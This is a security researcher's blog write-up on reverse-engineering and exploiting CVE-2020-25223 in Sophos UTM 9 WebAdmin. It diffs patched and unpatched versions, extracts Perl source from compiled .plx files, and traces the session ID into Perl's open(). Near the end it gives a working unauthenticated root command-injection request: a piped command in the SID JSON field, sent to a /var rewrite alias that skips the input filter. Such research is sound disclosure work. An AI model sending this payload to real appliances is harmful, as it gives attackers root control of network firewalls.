On a recent client engagement I was placed in a Virtual Private Cloud (VPC) instance with the goal of gaining access to other VPCs. During enumeration of attack surface I came across a Sophos UTM 9 device:
When reviewing known vulnerabilities in these Sophos UTM devices, I came across CVE-2020-25223
. The only information I could find about this vulnerability was that it was an unauthenticated remote command execution bug that affected several versions of the product:
A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11
After confirming with our client that they were running a vulnerable version, I posted to Twitter and a couple Slacks to see if anyone had any details on the vulnerability, and then set off on what I thought would be a quick adventure, but turned out not to be so quick in the end.
This blog post tells the story of that adventure and how in the end I was able to identify the preauth RCE.
When looking for the details on a known patched bug, I started off the same way any sane person would, comparing the differences between an unpatched version and a patched version.
I grabbed ISOs for versions 9.510-5
and 9.511-2
of the Sophos UTM platform and spun them up in a lab environment. Truth be told I ended up spinning up six different versions, but the two I mentioned were what I ended up comparing in the end.
A nice feature on the Sophos UTM appliances is that once the instance is spun up, you can enable SSH, import your keys, and access the device as root using the Management -> System Settings -> Shell Access functionality in the web interface:
Then it's just a matter of SSH'ing into the instance:
$ ssh [email protected]
Last login: Mon Aug 16 14:37:00 2021 from 192.168.50.178
Sophos UTM
(C) Copyright 2000-2017 Sophos Limited and others. All rights reserved.
Sophos is a registered trademark of Sophos Limited and Sophos Group.
All other product and company names mentioned are trademarks or registered
trademarks of their respective owners.
For more copyright information look at /doc/astaro-license.txt
or http://www.astaro.com/doc/astaro-license.txt
NOTE: If not explicitly approved by Sophos support, any modifications
done by root will void your support.
sophos:/root #
I proxied all web traffic to the instances through Burp and found that the webadmin.plx
endpoint handles a majority of the incoming web traffic. For instance, the following HTTP POST request is made when navigating to the instance, unauthenticated:
POST /webadmin.plx HTTP/1.1
Host: 192.168.50.15:4444
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 204
Origin: https://192.168.50.15:4444
Connection: close
Referer: https://192.168.50.15:4444/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Cache-Control: max-age=0
{"objs": [{"FID": "init"}], "SID": 0, "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629216182300_0.6752239026892818", "current_uuid": "", "ipv6": true}
On the device we can see that webadmin.plx
is indeed running:
sophos:/root # ps aux | grep -i webadmin.plx
wwwrun 12685 0.4 1.0 93240 89072 ? S 11:22 0:08 /var/webadmin/webadmin.plx
It turns out the webserver is actually running chroot'd in /var/sec/chroot-httpd/
, so that's where we can find the file:
# ls /var/sec/chroot-httpd/var/webadmin/webadmin.plx
/var/sec/chroot-httpd/var/webadmin/webadmin.plx
Not being familiar with the .plx
file format, I used file
to see what I was dealing with:
# file webadmin.plx
webadmin.plx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
Huh, ok...I was hoping for something easy like some PHP or Python or something. After poking at the ELF for a while and digging around online I came across the following writeup (I don't know where the original is, I'm sorry):
https://paper.seebug.org/1397/
It seems like I'm not the first person to assess one of these devices, and honestly, this writeup probably saved me several more hours of poking around. The gist of the writeup is that the author found that the .plx
files are Perl files that have been compiled using ActiveState's Perl Dev Kit and that you can access the original source by running the .plx
file in a debugger, setting a break point, and recovering the script from memory.
I went through this process and it worked surprisingly well. Note for the author of the writeup: you can use an SSH tunnel to hit the IDA debugger running on the Sophos UTM instance.
At this point I had access to the webadmin.plx
code (which is actually asg.plx
and is actually Perl code) which was great, but there was a big problem: the asg.plx
file isn't a massive file with all of the code. I needed access to the Perl modules that asgx.plx
imports, like:
# astaro stuff ---------------------------------------------
use Astaro::Logdispatcher;
use Astaro::Time::Zone qw/lgdiff/;
# necessary core modules -----------------------------------
use core::modules::core_globals;
use core::modules::core_tools;
asg.plx:20-26
I wish I could say I was able to get access to this code quickly and easily, and in the end it was as simple as extracting it with the right tools, but I didn't know that at the time and I stumbled and crawled a great distance along the way.
I was able to confirm that the modules that were imported by asg.plx
would be accessible by taking memory dumps of the process and using strings to find bits and pieces of code, so on the bright side, the code was definitely there.
After a couple late nights of trying different things like extracting code from memory dumps, patching the binaries, etc... I posted the problem and the webadmin.plx
file in work chat. There were great suggestions on using LD_PRELOAD
on libperl.so
or using binary instrumentation with frida
or PIN
to get access to the source code, but then one of our great reverse engineers found that the file actually had a BFS filesystem embedded at the end of the ELF file, and in a couple minutes was able to put together a script that could then be used with https://github.com/the6p4c/bfs_extract
to extract the filesystem (and with that, the source).
The script can be found here:
import sys
import struct
class BFS:
def __init__(self, data):
self.data = data
@classmethod
def open(cls, path):
with open(path, 'r+b') as f:
f.seek(-12, 2)
magic_chunk = f.read(12)
pointer_header = struct.unpack('<III', magic_chunk)
assert(pointer_header[0] == 0xab2155bc)
f.seek(-12 - pointer_header[2], 2)
data = f.read(pointer_header[2])
return cls(data)
bfs = BFS.open(sys.argv[1])
with open(sys.argv[2], 'wb') as outf:
outf.write(bfs.data)
yank.py
Using it is fairly straight forward:
#!/bin/bash
python3 ~/tools/bfs_extract/yank.py $1 stage1-$1
python3 ~/tools/bfs_extract/bfs.py stage1-$1 stage2-$1
python3 ~/tools/bfs_extract/bfs_extract.py stage2-$1 $2
bfs_extract.sh
$ bfs_extract.sh webadmin.plx extracted/
Found file DateTime/TimeZone/America/Indiana/Vevay.pm
Offset: 1ab4c
Found file Astaro/Confd/Object/time/single.pm
Offset: 1b6a4
Found file auto/Net/SSLeay/httpx_cat.al
Offset: 1b8a4
Found file auto/NetAddr/IP/InetBase/inet_any2n.al
Watching the thousands of source files extracting from the .plx
file was beautiful, I almost cried tears of joy.
I spent a fair amount of time extracting the source code out of the .plx
files from the UTM instances and also pulled the entire /var/sec/chroot-httpd/
directory to capture any differences in configuration files. My tool of choice for reviewing diffs is Meld as it lets me quickly and visually review diffs of directories and files:
Between the versions, the only change was in the wfe/asg/modules/asg_connector.pm
file:
The change in this file can be seen in meld below:
The updated code shows a check being added to the switch_session
subroutine make sure the SID
(Session ID) does not start with any alphanumeric characters; so it's likely that the vulnerability sources from the value of SID
.
The only place the switch_session
subroutine is called is from the do_connect
subroutine:
$ ag switch_session
wfe/asg/modules/asg_connector.pm
68:# just a wrapper for switch_session
71: return $self->switch_session(@_);
76:sub switch_session {
81: &main::msg('d', "Called " . __PACKAGE__ . "::switch_session()");
The do_connect
subroutine just appears to be a wrapper for the switch_session
subroutine:
# just a wrapper for switch_session
sub do_connect {
my $self = shift;
return $self->switch_session(@_);
}
wfe/asg/modules/asg_connector.pm:68-72
The do_connect
subroutine is used in various places in the code:
$ ag do_connect
wfe/asg/modules/asg_login.pm
290: $SID = $sys->do_connect($config->{backend_address});
wfe/asg/modules/asg_misc.pm
110: $SID = $sys->do_connect($config->{backend_address},$vars->{SID}) if $vars->{SID};
wfe/asg/modules/asg_main.pm
55: $SID = $sys ? $sys->do_connect($config->{backend_address}, $_cookies->{SID}->value) : undef;
wfe/asg/modules/asg_connector.pm
69:sub do_connect {
core/modules/core_connector.pm
30:# renamed connect to do_connect for avoid confusion with
32:sub do_connect {
33: die __PACKAGE__ . '::do_connect() has to be implemented by inherting module!';
asg.plx
190: $SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
216: $SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
325: if ( $cookies->{SID} and ( $cookies->{SID} eq $SID or $SID = $sys->do_connect($config->{backend_address}, $cookies->{SID}) ) ) {
Knowing that asg.plx
is the script name of webadmin.plx
, let's take a look there first:
# POST request - means JSON request
if ( $ENV{'REQUEST_METHOD'} eq 'POST' ) {
# no further processing in case of content-type violation
goto REQ_OUTPUT if $req->{ct_violation};
# switch our identity if necessary
$SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
asg.plx:209-216
The do_connect
subroutine is used at the start of the HTTP POST request handling and also takes SID
so we should be able to hit it with any HTTP POST request.
Throughout the code there are references to confd
which is a backend service that the httpd
frontend communicates with over RPC. When making an HTTP POST request to webadmin.plx
, the httpd
service connects to confd
and sends it some data, such as SID
, that's what we are seeing with:
$SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
So when an HTTP POST request is made, the SID
is sent to confd
where it is checked to see if it's a valid session identifier. This can be seen in the log files in /var/log/
on the appliance. If we make the following request with an invalid SID
:
POST /webadmin.plx HTTP/1.1
Host: 192.168.50.17:4444
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17:4444
DNT: 1
Connection: close
Referer: https://192.168.50.17:4444/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"objs": [{"FID": "get_user_information"}], "SID":"ATREDIS", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1628997061547_0.82356395860014", "current_uuid": "", "ipv6": true}
Then we can see the lookup happen in the /var/log/confd-debug.log
log file. The confd
calls get_SID
with the user-supplied SID
:
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:125() => listener: new connection...
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::reap_children:118() => reaped: 32643
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:215() => forked: 32653
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:223() => workers: 11682, 32653, 10419
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::server_loop:159() => child: serving connection from 127.0.0.1
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::get_request:321() => get_request() start
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: >=========================================================================
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::response:287() => prpc response: $VAR1 = [
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: 1,
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: 'Welcome!'
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: ];
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: <=========================================================================
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::get_request:321() => get_request() start
--
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'SID' => 'ATREDIS',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'asg_ip' => '192.168.50.17',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'ip' => '192.168.50.178'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: }
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: ],
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'id' => 'unsupported',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'method' => 'NewHandle',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'path' => '/webadmin/nonproxy'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: };
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: |=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::server_loop:178() => method: new params: $VAR1 = [
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: {
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'SID' => 'ATREDIS',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'asg_ip' => '192.168.50.17',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'ip' => '192.168.50.178'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: }
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: ];
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: <=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D utils::write_sigusr1:389() => id="3100" severity="debug" sys="System" sub="confd" name="write_sigusr1" user="system" srcip="0.0.0.0" facility="system" client="unknown" call="new" mode="add" pids="32753"
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::response:287() => prpc response: $VAR1 = bless( {}, 'Astaro::RPC' );
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::get_request:321() => get_request() start
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: >=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::get_request:461() => got request: $VAR1 = {
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'params' => [
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: bless( {}, 'Astaro::RPC' ),
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'get_SID'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: ],
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'id' => 'unsupported',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'method' => 'CallMethod',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'path' => '/webadmin/nonproxy'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: };
/var/log/confd-debug.log
The confd
service responds back to the httpd
service that the SID
does not exist and we can see that error occur in the /var/log/webadmin.log
log file:
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: |=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: W No backend for SID = ATREDIS...
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]:
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: 1. main::top-level:221() asg.plx
/var/log/webadmin.log
Let's see what exactly happens with the SID
value that we supply in our HTTP POST request. When the connection to confd
is made, confd
attempts to read the stored SID
from the confd
sessions directory at $config::session_dir
(/var/confd/var/sessions
):
my $new = read_storage("$config::session_dir/$session->{SID}");
Session.pm:189
The read_storage
subroutine takes a $file
which in this case is SID
and passes it to the Storable::lock_retrieve
subroutine:
# read from Perl Storable file
sub read_storage {
my $file = shift;
my $href;
require Storable;
eval { local $SIG{'__DIE__'}; $href = Storable::lock_retrieve($file); };
return if $@;
return unless ref $href eq 'HASH';
return $href;
}
Astaro/file.pm:350-361
The lock_retrieve
subroutine calls the _retrieve
subroutine:
sub lock_retrieve {
_retrieve($_[0], 1);
}
auto/Storable/lock_retrieve.al:12-14
The _retrieve
subroutine then calls open()
on the file:
sub _retrieve {
my ($file, $use_locking) = @_;
local *FILE;
open(FILE, $file) || logcroak "can't open $file: $!";
auto/Storable/_retrieve.al:8-11
In Perl, open()
can be a dangerous function when user-supplied data is passed as the second argument. You can learn more about this in Perl's official documentation here, but this quick example demonstrates the danger:
#!/usr/bin/perl
my $a = "|id";
local *FILE;
open(FILE, $a);
test.pl
$ perl test.pl
uid=1000(justin) gid=1000(justin) groups=1000(justin)
In the case of the UTM appliance, the user-supplied SID
value is passed to the second argument of open()
. That seems pretty straight forward to exploit, right? Let's give it a shot. We'll attempt to run the command touch /tmp/pwned
:
POST /webadmin.plx HTTP/1.1
Host: 192.168.50.17
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17
Connection: close
Referer: https://192.168.50.17/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"objs": [{"FID": "init"}], "SID": "|touch /tmp/pwned|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}
Now let's check for our file!
# ls -l /tmp/pwned
ls: cannot access /tmp/pwned: No such file or directory
Erm. No file has been written to the /tmp/
directory. When I got to this point, I was frustrated, let me tell you.
Let's look into the logs and see if we can figure out what happened.
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: |=========================================================================
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: D Astaro::RPC::server_loop:178() => method: new params: $VAR1 = [
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: {
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: 'SID' => '0ouch /tmp/pwned',
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: 'asg_ip' => '192.168.50.17',
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: 'ip' => '192.168.50.178'
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: }
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: ];
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: <=========================================================================
/var/log/confd-debug.log
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: |=========================================================================
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: W No backend for SID = 0ouch /tmp...
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]:
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: 1. main::top-level:221() asg.plx
/var/log/webadmin.log
Hmm... The SID
in the logs is 0ouch /tmp/pwned
, that's not what we sent...
At this point I knew exactly what the issue was. Remember at the beginning of this writeup when I said that I like to diff both source code and configuration files? Meet the other diff between versions:
Reviewing the httpd-webadmin.conf
configuration file in /var/chroot-httpd/etc/httpd/vhost
shows us this almost-show-stopper:
<LocationMatch webadmin.plx>
AddInputFilter sed plx
InputSed "s/\"SID\"[ \t]*:[ \t]*\"[^\"]*\|[ \t]*/\"SID\":\"0/g"
</LocationMatch>
/var/chroot-httpd/etc/httpd/vhost/httpd-webadmin.conf:64-67
Any HTTP requests coming into webadmin.plx
are processed by InputSed
which matches and replaces our "SID":"|
JSON body with "SID":"0
. This can be visually seen on regex101.com:
After spending some time attempting to bypass the regex and try different payloads, I had a thought... This input filter only triggers when the location matches webadmin.plx
. And then I saw it and it was beautiful:
RewriteRule ^/var /webadmin.plx
/var/chroot-httpd/etc/httpd/vhost/httpd-webadmin.conf:12
Making an HTTP request to the /var
endpoint is the same as making a request to the /webadmin.plx
endpoint, but without the filter. Making the request again, but to the new endpoint:
POST /var HTTP/1.1
Host: 192.168.50.17
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17
Connection: close
Referer: https://192.168.50.17/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"objs": [{"FID": "init"}], "SID": "|touch /tmp/pwned|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}
And here's our file:
# ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 Aug 17 17:07 /tmp/pwned
We now have unauthenticated RCE on the Sophos UTM appliance as the root user.
And that ends our adventure for now. I hope you enjoyed this writeup :)